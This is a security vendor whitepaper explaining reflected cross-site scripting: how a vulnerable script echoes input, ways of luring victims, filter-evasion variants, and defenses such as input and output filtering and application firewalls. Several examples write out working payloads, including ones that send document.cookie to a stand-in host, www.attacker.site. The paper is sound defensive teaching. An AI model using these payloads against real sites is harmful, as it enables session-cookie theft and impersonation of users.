CROSS-SITE SCRIPTING EXPLAINED

AMIT KLEIN, FORMER DIRECTOR OF SECURITY AND RESEARCH, SANCTUM

A whitepaper from Watchfire

TABLE OF CONTENTS

INTRODUCTION

Cross-Site Scripting (XSS for short) is one of the most common application-level attacks that hackers use to sneak into web applications today. Cross-Site Scripting is an attack on the privacy of clients of a particular website which can lead to a total breach of security when customer details are stolen or manipulated. Unlike most attacks, which involve two parties – the attacker, and the website, or the attacker and the victim client, the XSS attack involves three parties – the attacker, a client and the website. The goal of the XSS attack is to steal the client cookies, or any other sensitive information, which can identify the client with the website. With the token of the legitimate user at hand, the attacker can proceed to act as the user in his/her interaction with the site – specifically, impersonate the user. For example, in one audit conducted for a large company it was possible to peek at the user's credit card number and private information using a XSS attack. This was achieved by running malicious Javascript code at the victim (client) browser, with the "access privileges" of the website. These are the very limited Javascript privileges which generally do not let the script access anything but site related information. It should be stressed that although the vulnerability exists at the website, at no time is the website directly harmed. Yet this is enough for the script to collect the cookies and send them to the attacker. The result, the attacker gains the cookies and impersonates the victim.

FULL EXPLANATION – THE XSS TECHNIQUE

Let us call the site under attack: www.vulnerable.site. At the core of a traditional XSS attack lies a vulnerable script in the vulnerable site. This script reads part of the HTTP request (usually the parameters, but sometimes also HTTP headers or path) and echoes it back to the response page, in full or in part, without first sanitizing it i.e. making sure it doesn't contain Javascript code and/or HTML tags. Suppose, therefore, that this script is named welcome.cgi, and its parameter is "name." It can be operated this way:

```
GET /welcome.cgi?name=Joe%20Hacker HTTP/1.0
 Host: www.vulnerable.site
...
```

And the response would be:

```
 <HTML>
<Title>Welcome!</Title>
 Hi Joe Hacker <BR>
 Welcome to our system
  ...
 </HTML>
```

How can this be abused? Well, the attacker manages to lure the victim client into clicking a link the attacker supplies to him/her. This is a carefully and maliciously crafted link, which causes the web browser of the victim to access the site (www.vulnerable.site) and invoke the vulnerable script. The data to the script consists of a Javascript that accesses the cookies the client browser has for www.vulnerable.site. It is allowed, since the client browser "experiences" the Javascript coming from www.vulnerable.site, and Javascript's security model allows scripts arriving from a particular site to access cookies belonging to that site.

Such a link looks like:
http://www.vulnerable.site/welcome.cgi?name=<script>alert(document.cookie)</script>

The victim, upon clicking the link, will generate a request to www.vulnerable.site, as follows:

```
GET /welcome.cgi?name=<script>alert(document.cookie)</script> HTTP/1.0
Host: www.vulnerable.site
...
```

And the vulnerable site response would be:

```
<HTML>
<Title>Welcome!</Title>
Hi <script>alert(document.cookie)</script>
<BR>
Welcome to our system
...
</HTML>
```

The victim client's browser would interpret this response as an HTML page containing a piece of Javascript code. This code, when executed, is allowed to access all cookies belonging to www.vulnerable.site, and therefore, it will pop-up a window at the client browser showing all client cookies belonging to www.vulnerable.site.

Of course, a real attack would consist of sending these cookies to the attacker. For this, the attacker may erect a website (www.attacker.site), and use a script to receive the cookies. Instead of popping up a window, the attacker would write a code that accesses a URL at his/her own site (www.attacker.site), invoking the cookie reception script with a parameter being the stolen cookies. This way, the attacker can get the cookies from the www.attacker.site server.

The malicious link would be:
http://www.vulnerable.site/welcome.cgi?name=<script>window.open("http://www.attacker.site/collect.cgi?cookie="%2Bdocument.cookie)</script>

And the response page would look like:

```
<HTML>
<Title>Welcome!</Title>
Hi
<script>window.open("http://www.attacker.site/collect.cgi?cookie="+document.cookie)</script>
<BR>
Welcome to our system
...
</HTML>
```


The browser, immediately upon loading this page, would execute the embedded Javascript and would send a request to the collect.cgi script in www.attacker.site, with the value of the cookies of www.vulnerable.site that the browser already has.

This compromises the cookies of www.vulnerable.site that the client has. It allows the attacker to impersonate the victim. The privacy of the client is completely breached.

It should be noted, that causing the Javascript pop-up window to emerge usually suffices to demonstrate that a site is vulnerable to a XSS attack. If Javascript's "alert" function can be called, there's usually no reason for the "window.open" call not to succeed. That is why most examples for XSS attacks use the alert function, which makes it very easy to detect its success.

SCOPE AND FEASIBILITY

The attack can take place only at the victim's browser, the same one used to access the site (www.vulnerable.site). The attacker needs to force the client to access the malicious link. This can happen in several ways:

- The attacker sends an email containing an HTML page that forces the browser to access the link. This requires the victim use the HTML enabled email client, and the HTML viewer at the client is the same browser used for accessing www.vulnerable.site.
- The client visits a site, perhaps operated by the attacker, where a link to an image or otherwise active HTML forces the browser to access the link. Again, it is mandatory that the same browser be used for accessing this site and www.vulnerable.site.

The malicious Javascript can access:

- Permanent cookies (of www.vulnerable.site) maintained by the browser
- RAM cookies (of www.vulnerable.site) maintained by this instance of the browser, only when it is currently browsing www.vulnerable.site.
- Names of other windows opened for www.vulnerable.site
- Any information that is accessible through the current DOM (from values, HTML code, etc.)

Identification/authentication/authorization tokens are usually maintained as cookies. If these cookies are permanent, the victim is vulnerable to the attack even if he/she is not using the browser at the moment to access www.vulnerable.site. If, however, the cookies are temporary i.e. RAM cookies, then the client must be in session with www.vulnerable.site.

Other possible implementations for an identification token is a URL parameter. In such cases, it is possible to access other windows using Javascript as follows (assuming the name of the page whose URL parameters are needed is "foobar"):

```
<script>var victim_window=open('','foobar');alert('Can access:
'+victim_window.location.search)</script>
```


VARIATIONS ON THE THEME

It is possible to use many HTML tags, beside <SCRIPT> in order to run the Javascript. In fact, it is also possible for the malicious Javascript code to reside on another server, and to force the client to download the script and execute it which can be useful if a lot of code is to be run, or when the code contains special characters.

Some variations:

- Instead of <script>...</script>, one can use <img src="javascript:..."> (good for sites that filter the <script> HTML tag)
- Instead of <script>...</script>, it is possible to use <script src="http://..."> . This is good for a situation where the Javascript code is too long, or contains forbidden characters.

Sometimes, the data embedded in the response page is found in non-free HTML context. In this case, it is first necessary to "escape" to the free context, and then to append the XSS attack. For example, if the data is injected as a default value of an HTML form field, e.g.:

```
...
<input type=text name=user value="...">
...
```

Then it is necessary to include "> in the beginning of the data to ensure escaping to the free HTML context. The data would be:

```
"><script>window.open("http://www.attacker.site/collect.cgi?cookie="+document.cookie)</script>
```

And the resulting HTML would be:

```
...
<input type=text name=user
value=""><script>window.open("http://www.attacker.site/collect.cgi?cookie="+document.cookie)</script>">
...
```

OTHER WAYS TO PERFORM (TRADITIONAL) XSS ATTACKS

So far we've seen that a CSS attack can take place in a parameter of a GET request which is echoed back to the response by a script. But it is also possible to carry out the attack with POST request, or using the path component of the HTTP request, and even using some HTTP headers (such as the Referer).

Particularly, the path component is useful when an error page returns the erroneous path. In this case, often including the malicious script in the path will execute it. Many web servers are found vulnerable to this attack.

WHAT WENT WRONG?

It should be understood that although the website is not directly affected by this attack -it continues to function normally, malicious code is not executed on the site, no DoS condition occurs, and data is not

directly manipulated/read from the site- it is still a flaw in the privacy the site offers its' clients. Just like a site deploying an application with weak security tokens, wherein an attacker can guess the security token of a victim client and impersonate him/her, the same can be said here.

The weak spot in the application is the script that echoes back its parameter, regardless of its value. A good script makes sure that the parameter is of a proper format, and contains reasonable characters, etc. There is usually no good reason for a valid parameter to include HTML tags or Javascript code, and these should be removed from the parameter prior to it being embedded in the response or prior to processing it in the application, to be on the safe side!.

SECURING A SITE AGAINST XSS ATTACKS

It is possible to secure a site against a XSS attack in three ways:

1. By performing "in-house" input filtering (sometimes called "input sanitation"). For each user input be it a parameter or an HTTP header, in each script written in-house, advanced filtering against HTML tags including Javascript code should be applied. For example, the "welcome.cgi" script from the above case study should filter the "<script>" tag once it is through decoding the "name" parameter. This method has some severe downsides:
    - It requires the application programmer to be well versed in security.
    - It requires the programmer to cover all possible input sources (query parameters, body parameters of POST request, HTTP headers).
    - It cannot defend against vulnerabilities in third party scripts/servers. For example, it won't defend against problems in error pages in web servers (which display the path of the resource).
2. By performing "output filtering," that is, to filter the user data when it is sent back to the browser, rather than when it is received by a script. A good example for this would be a script that inserts the input data to a database, and then presents it. In this case, it is important not to apply the filter to the original input string, but only to the output version. The drawbacks are similar to the ones in input filtering.
3. By installing a third party application firewall, which intercepts XSS attacks before they reach the web server and the vulnerable scripts, and blocks them. Application firewalls can cover all input methods (including path and HTTP headers) in a generic way, regardless of the script/path from the in-house application, a third party script, or a script describing no resource at all (e.g. designed to provoke a 404 page response from the server). For each input source, the application firewall inspects the data against various HTML tag patterns and Javascript patterns, and if any match, the request is rejected and the malicious input does not arrive to the server.

HOW TO CHECK IF YOUR SITE IS PROTECTED FROM XSS

Checking that a site is secure from XSS attacks is the logical conclusion of securing the site.

Just like securing a site against XSS, checking that the site is indeed secure can be done manually (the hard way), or via an automated web application vulnerability assessment tool, which offloads the burden of checking. The tool crawls the site, and then launches all the variants it knows against all the scripts it found – trying the parameters, the headers and the paths. In both methods, each input to the application (parameters of all scripts, HTTP headers, path) is checked with as many variations as possible, and if the

response page contains the Javascript code in a context where the browser can execute it then a XSS vulnerability is exposed. For example, sending the text:

```
<script>alert(document.cookie)</script>
```

to each parameter of each script, via a Javascript enabled browser to reveal a XSS vulnerability of the simplest kind – the browser will pop up the Javascript alert window if the text is interpreted as Javascript code.

Of course, there are several variants, and therefore, testing only the above variant is insufficient. And as we saw above, it is possible to inject Javascript into various fields of the request – the parameters, the HTTP headers, and the path. In some cases (notably the HTTP Referer header), it is awkward to carry out the attack using a browser.

CONCLUSION

Cross-Site Scripting is one of the most common application level attacks that hackers use to sneak into web applications today, and one of the most dangerous. It is an attack on the privacy of clients of a particular website which can lead to a total breach of security when customer details are stolen or manipulated. Unfortunately, as outlined in this paper, this is often done without the knowledge of either the client or the organization being attacked. In order to prevent this malicious vulnerability, it is critical that an organization implement both an online and offline security strategy. This includes using an automated application vulnerability assessment tool which can test for all the common web vulnerabilities, and application specific vulnerabilities (like Cross-Site Scripting), on a site. And for a full online defense, installing an application firewall that can detect and defend against any type of manipulation to the code and content sitting on and behind the web servers.

LINKS

First and foremost, the official announcement that started it all: CERT® Advisory CA-2000-02 Malicious HTML Tags Embedded in Client Web Requests http://www.cert.org/advisories/CA-2000-02.html

Some web servers that are/were vulnerable to path XSS:

Microsoft ASP.NET
http://seclists.org/lists/bugtraq/2005/Feb/0320.html

Tomcat, Resin, JRun, WebSphere
http://archives.neohapsis.com/archives/bugtraq/2001-07/0021.html

Lotus Domino
http://www.osvdb.org/displayvuln.php?osvdb_id=1887

Microsoft Sharepoint Portal Server
http://seclists.org/lists/bugtraq/2004/Apr/0035.html

Additional Information:

"Advanced Cross-Site-Scripting with Real-time Remote Attacker Control" (XSS Proxy):
http://xss-proxy.sourceforge.net/Advanced_XSS_Control.txt

ABOUT WATCHFIRE

Watchfire provides Online Risk Management software and services to help ensure the security and compliance of websites. More than 500 enterprises and government agencies, including AXA Financial, SunTrust, HSBC, Vodafone, Veterans Affairs and Dell rely on Watchfire to audit and report on issues impacting their online business. Watchfire has been the recipient of several industry honors including the HP/IAPP Privacy Innovation Award, *InfoSecurity Product Guide*'s Hot Security Company 2006, *Computerworld*'s Innovative Technology Award, and "Recommended" rating by *Computer Reseller News*. Watchfire was named by IDC as the worldwide market share leader in web application vulnerability assessment software. Watchfire's partners include IBM Global Services, PricewaterhouseCoopers, TRUSTe, Microsoft, Interwoven, EMC Documentum and Mercury. Watchfire is headquartered in Waltham, MA. For more information, please visit www.watchfire.com.

